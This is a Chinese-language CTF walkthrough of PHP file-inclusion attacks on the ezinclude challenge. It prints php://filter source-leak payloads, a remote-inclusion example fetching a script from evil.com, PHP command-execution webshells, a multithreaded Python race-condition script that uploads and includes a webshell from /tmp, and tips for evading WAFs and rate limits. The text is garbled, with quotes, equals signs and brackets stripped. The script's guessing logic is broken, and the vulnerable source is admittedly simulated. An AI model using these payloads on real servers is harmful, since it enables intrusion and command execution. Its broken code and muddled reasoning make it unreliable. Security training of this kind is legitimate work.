CTF Web安全实战:文件包含漏洞原理与PHP伪协议利用详解
1. 项目概述一次典型的Web安全入门实战最近在带新人入门CTFCapture The Flag网络安全竞赛的Web安全方向发现很多朋友对文件包含漏洞的理解还停留在“知道概念”的阶段一到实战就无从下手。正好最近复盘了一道经典的CTF题目——[NPUCTF2020]ezinclude它几乎涵盖了文件包含漏洞从发现到利用的完整链条非常适合作为新手从理论走向实战的“磨刀石”。这道题目的环境搭建简单逻辑清晰但其中包含的“二次包含”和“条件竞争”技巧又让它不失深度足以让有一定基础的朋友也能获得新的启发。简单来说这道题模拟了一个存在文件包含漏洞的Web应用。你的目标就是利用这个漏洞读取服务器上的敏感文件即“Flag”。整个过程就像一次完整的渗透测试演练你需要先找到漏洞的入口然后尝试绕过可能的限制最后构造出有效的攻击载荷拿到你想要的信息。对于刚接触安全的朋友通过这道题你能清晰地看到“黑盒测试”的思维过程而对于已经入门的朋友则可以深入理解PHP文件包含中那些“刁钻”的利用技巧是如何在真实场景中串联起来的。2. 漏洞原理与核心思路拆解2.1 文件包含漏洞的本质在深入题目之前我们必须先夯实基础。文件包含漏洞尤其是PHP中的include、require等函数引发的漏洞其核心在于“将外部文件的内容当作代码来执行”。这听起来有点抽象我打个比方你家的门Web应用上有个投信口包含函数本来设计是只接收邮局送来的信本地的、可信的文件。但如果你没装滤网没有对输入进行严格过滤别人就可以通过这个投信口塞进来一张写着“打开保险柜”的纸条恶意文件而你家的机器PHP解释器会忠实地执行这张纸条上的指令。在PHP中常见的包含函数有include包含并运行指定文件。如果包含失败如文件不存在会发出警告E_WARNING但脚本会继续执行。require功能同include但如果包含失败会产生致命错误E_COMPILE_ERROR脚本终止。include_once/require_once与前两者类似但会检查该文件是否已经被包含过如果是则不会再次包含常用于防止函数重定义等问题。漏洞产生的根本原因是开发者信任了用户可控的输入并将其直接拼接到了包含函数的参数中。例如?php $page $_GET[page]; // 用户通过?pageabout.php传参 include($page . .php); ?如果攻击者传入page../../../etc/passwd经过拼接后服务器可能尝试包含../../../etc/passwd.php这通常会导致包含失败。但更危险的是如果服务器配置不当如allow_url_includeOn攻击者甚至可以传入pagehttp://evil.com/shell.txt让服务器去包含远程的恶意脚本这就是“远程文件包含”RFI危害极大。本题主要考察的是“本地文件包含”LFI。2.2 题目“ezinclude”的初步分析从题目名称ezinclude可以明确提示考点是文件包含。通常这类题目的入口点是一个包含include、file、page等关键词的GET或POST参数。我们的第一步就是进行常规的模糊测试。首先访问题目链接是一个简单的页面。查看网页源代码是发现线索的第一步。有时开发者会在注释里留下提示或者引入一些看似平常的JS、CSS文件路径这些都可能成为突破口。接着我们要对所有可能的参数进行测试。假设我们发现URL是http://target/index.php?filehome那么测试用例可以包括基础测试?file../../../../etc/passwd尝试读取系统文件。协议测试?filephp://filter/readconvert.base64-encode/resourceindex.php使用PHP伪协议读取源码这是本题的关键技巧之一。后缀绕过测试如果代码中有类似include($file . .php)的拼接就需要考虑如何截断或绕过.php后缀。这道题在初步测试后会发现一个关键特征它不仅仅是一个简单的LFI。直接包含/etc/passwd可能不行但使用php://filter伪协议读取index.php本身却能得到经过Base64编码的源码。这告诉我们服务器对包含的文件路径做了一定限制但php://等内置协议仍在允许范围内。分析已获取的源码是解决所有CTF Web题的核心步骤源码里藏着所有的逻辑、过滤规则和可能的“后门”。3. 核心技巧解析PHP伪协议与源码泄露3.1 PHP Filter协议的妙用当我们无法直接读取.php文件的源码因为PHP文件会被服务器解析执行我们看到的只是执行结果而非源代码时php://filter协议就是我们的“阅读器”。它的作用是在数据流打开时先对数据进行一层过滤处理。最常用的链是php://filter/readconvert.base64-encode/resource目标文件.php这条指令的意思是读取目标文件.php的内容然后通过convert.base64-encode过滤器将其编码为Base64格式最后输出。因为Base64编码只包含可视字符不包含PHP代码标签?php ?所以服务器不会将其作为代码执行而是直接输出编码后的文本。我们拿到这段Base64字符串后解码即可得到原始的PHP源代码。在本题中我们首先就需要利用这个技巧去读取index.php、flag.php等关键文件的源码。操作命令通常如下在Burp Suite的Repeater模块或浏览器地址栏直接构造GET /index.php?filephp://filter/readconvert.base64-encode/resourceindex.php HTTP/1.1服务器返回的响应体里就会包含一大串Base64编码。将其复制出来在线或本地解码就能一窥究竟。注意php://filter的利用方式非常灵活。除了base64-encode还有string.rot13、string.toupper等过滤器有时可以用于绕过简单的关键词过滤。例如如果WAF过滤了“flag”这个词你可以尝试用resource./flstring.rot13解码/flag.php文件因为fl经过rot13会变成sy可能绕过检测。不过本题不涉及这么复杂的绕过。3.2 分析源码寻找突破口假设我们通过上述方法拿到了index.php的源码解码后可能看到类似如下的结构此为模拟非原题 exact code?php error_reporting(0); if(isset($_GET[file])) { $file $_GET[file]; if(preg_match(/flag|php|\.\.\/|data|zip/i, $file)) { die(Hacker!); } include($file); } else { highlight_file(__FILE__); } ?这段代码的信息量很大漏洞点确认include($file)且$file完全来自用户输入的$_GET[file]存在文件包含漏洞。过滤规则使用preg_match过滤了包含flag、php、../目录遍历、data、zip的字符串。这意味着我们无法直接包含flag.php也不能使用php://协议因为包含php关键词data://和zip://协议也被禁了。我们的困境与机会过滤了php但我们刚才明明用php://filter成功读取了源码这看起来矛盾。这里就涉及到第一个关键技巧大小写绕过。PHP的伪协议协议名如php://通常是大小写不敏感的但正则表达式中的i修饰符表示不区分大小写所以php的过滤是有效的。然而我们刚才的Payload是php://filter...它被过滤了吗不一定。如果代码逻辑有瑕疵比如过滤后直接include但我们的输入在触发过滤前就被处理了呢或者存在其他包含点实际上更常见的场景是我们第一次用php://filter读取的可能是一个“前端控制器”或初始文件而真正的包含逻辑在另一个被包含的文件里。我们需要用php://filter去读取所有可能相关的PHP文件比如index.php、login.php、config.php甚至通过目录遍历猜解文件名。在本题的探索中我们可能会发现另一个关键文件比如include.php它的过滤逻辑可能不同或者根本没有过滤。4. 进阶利用巧用“二次包含”与临时文件4.1 突破过滤实现代码执行假设我们通过阅读多个源码文件拼凑出完整的逻辑主文件index.php过滤严格但它包含了一个文件include.php而这个include.php的包含点过滤较弱或者不过滤php://。这时我们就需要利用“二次包含”。思路如下首先我们无法直接向目标参数传入php://协议因为会被主文件过滤。但是我们可以先让服务器包含一个我们能控制内容的文件这个文件里写着我们真正的Payload。然后再利用第二个包含点去包含这个我们可控的文件从而执行其中的PHP代码。那么如何让服务器包含一个我们可控内容的文件呢在无法上传文件、也无法使用data://协议被禁的情况下我们就要利用PHP的一个特性PHP在处理文件上传时会先将上传的文件保存到临时目录如/tmp/phpXXXXXX然后再进行移动或处理。这个临时文件在脚本执行期间是存在的。我们可以通过上传一个文件其内容是一段PHP代码比如?php system(ls);?然后利用文件包含漏洞去包含这个临时文件。但难点在于临时文件名是随机的phpXXXXXX我们无法知道具体的名字。4.2 条件竞争Race Condition的引入这就引入了第二个高级技巧条件竞争。虽然我们不知道临时文件的具体名字但我们知道它的命名模式/tmp/phpXXXXXX和它存在的时间窗口从上传请求开始到脚本结束或文件被删除。我们可以编写一个脚本同时做两件事不断向服务器发送文件上传请求生成大量的临时文件。同时用另一个线程或进程不断地用文件包含漏洞去尝试包含/tmp/phpxxxxxx这种模式的文件。只要速度足够快就有可能在我们上传的临时文件被删除之前成功包含到它从而执行其中的代码。这个过程就像一场赛跑因此被称为“条件竞争”。在CTF中由于网络延迟和脚本处理速度这种竞争的成功率在单次请求中可能不高。因此我们需要用Python等语言编写自动化脚本进行高频的并发尝试。一个简单的逻辑框架如下import requests import threading import queue target_url http://target.com/upload.php # 文件上传点 include_url http://target.com/index.php?file/tmp/php # 文件包含点尝试包含/tmp/php开头的文件 def uploader(): while True: files {file: (shell.php, ?php echo system($_GET[cmd]); ?, image/jpeg)} try: requests.post(target_url, filesfiles, timeout1) except: pass def includer(): while True: for i in range(100): # 尝试一部分可能的随机后缀 guess_path f/tmp/php{str(i).zfill(6)} try: r requests.get(include_url guess_path[10:]) # 拼接猜测的路径 if expected_output in r.text: # 如果包含成功会有特定输出 print(f[] Success! File: {guess_path}) print(r.text) return except: pass # 创建多个线程并发执行 threads [] for _ in range(10): # 10个上传线程 t threading.Thread(targetuploader) t.daemon True threads.append(t) t.start() # 运行包含线程 includer()实操心得在实际利用中有几点需要注意。第一临时文件的后缀通常是六位随机字母数字爆破空间很大(62^6)纯爆破不可行必须依赖竞争。第二包含路径可能需要目录遍历比如../../../../tmp/phpXXXXXX。第三有些环境会检查文件内容如果不是合法的图片等格式可能会被删除这时需要在PHP代码前添加图片的文件头如GIF89a进行伪装。第四竞争脚本的线程数和请求频率需要根据目标服务器的性能进行调整太猛可能导致自己被封IP或服务器无响应。5. 完整利用链实战与Flag获取5.1 构建本题的完整攻击链结合对[NPUCTF2020]ezinclude题目的分析其完整的利用链可以概括为以下几步这为我们提供了一个清晰的实战思路信息收集与漏洞发现访问目标查看源码发现可能存在包含漏洞的参数如?file。使用php://filter读取index.php源码确认漏洞存在并分析过滤规则。源码审计与迂回策略发现直接包含flag.php或使用php://协议被过滤。进一步利用php://filter读取其他相关文件如include.php,config.php寻找过滤更弱的包含点或程序逻辑漏洞。利用临时文件与条件竞争在发现一个可以包含/tmp目录下文件或可通过目录遍历到达的包含点后准备利用文件上传生成临时文件。编写Python脚本并发进行文件上传和文件包含的尝试。编写有效的Webshell上传的文件内容不能是简单的?php phpinfo();?因为我们的目标是读取flag。通常我们需要一个能执行命令的“一句话木马”。例如?php system($_GET[‘c’]);?。这样一旦我们包含了这个临时文件就可以通过ccat /flag这样的参数来执行系统命令读取flag。自动化攻击与结果捕获运行竞争脚本。脚本中的includer部分在发起包含请求时可以带上命令参数例如include_url fhttp://target/vuln.php?file/tmp/phpXXXXXXccat /flag。一旦包含成功响应中就会包含flag的内容。脚本需要持续监控响应一旦发现flag的特定格式如flag{就停止并输出结果。5.2 常见问题与排查技巧实录在实际操作这道题或类似题目时你可能会遇到以下几个典型问题问题现象可能原因排查与解决思路使用php://filter返回空白或错误1. 路径错误。2. 目标文件不存在。3. 服务器禁用了php://伪协议。1. 检查resource后的路径是否正确尝试使用相对路径(./index.php)或绝对路径(/var/www/html/index.php)。2. 尝试读取其他已知存在的文件如/etc/passwd(需配合其他绕过技巧)。3. 查看PHP配置allow_url_include但在CTF中通常为On。可尝试php://input协议POST数据执行。条件竞争脚本长时间无结果1. 临时文件路径猜错。2. 包含点不对或过滤未绕过。3. 竞争失败文件在包含前已被删除。4. 脚本并发策略不佳。1. 确认临时文件目录Linux通常是/tmp可尝试包含/proc/self/fd/下的文件描述符更高级技巧。2. 重新审计源码确认包含点的最终有效载荷。可能需要对文件名进行编码绕过。3. 增加上传线程数提高竞争成功率。在文件内容开头添加垃圾数据如大量空格以略微延长文件处理时间。4. 优化脚本使用更高效的HTTP库如aiohttp进行异步请求。包含成功但命令执行无回显1.system等函数被禁用。2. 命令执行被限制或输出被重定向。3. Webshell代码有语法错误。1. 尝试其他命令执行函数如passthru(),exec(),shell_exec(), 反引号 或使用phpinfo()查看禁用函数列表。2. 尝试将命令输出写入到一个Web可访问的文件ccat /flag /var/www/html/static/1.txt然后直接访问该文件。3. 检查上传的PHP代码格式是否正确确保?php ?标签完整且没有多余的空白字符导致解析错误。请求被WAF或速率限制拦截1. IP被临时封禁。2. 请求频率过高触发防护。1. 降低脚本的请求频率在请求间添加随机延时(time.sleep(random.uniform(0.1, 0.5)))。2. 使用代理池轮询发送请求在CTF中通常不需要。3. 检查User-Agent等请求头模拟正常浏览器行为。我个人在实际操作中的体会是文件包含漏洞的利用三分靠技术七分靠耐心和细心。尤其是条件竞争这类利用方式充满了不确定性。一次成功的攻击往往建立在数十次甚至上百次的失败尝试之上。关键是要仔细分析每一次请求的响应哪怕是一个微小的差异如错误信息的变化、响应时间的延长都可能成为突破的关键线索。不要只盯着最终的执行结果要把整个交互过程都当作有价值的信息源。例如包含一个不存在的文件和服务端过滤拦截返回的错误页面其状态码和内容可能就不同这能帮你判断漏洞点是否真的触达。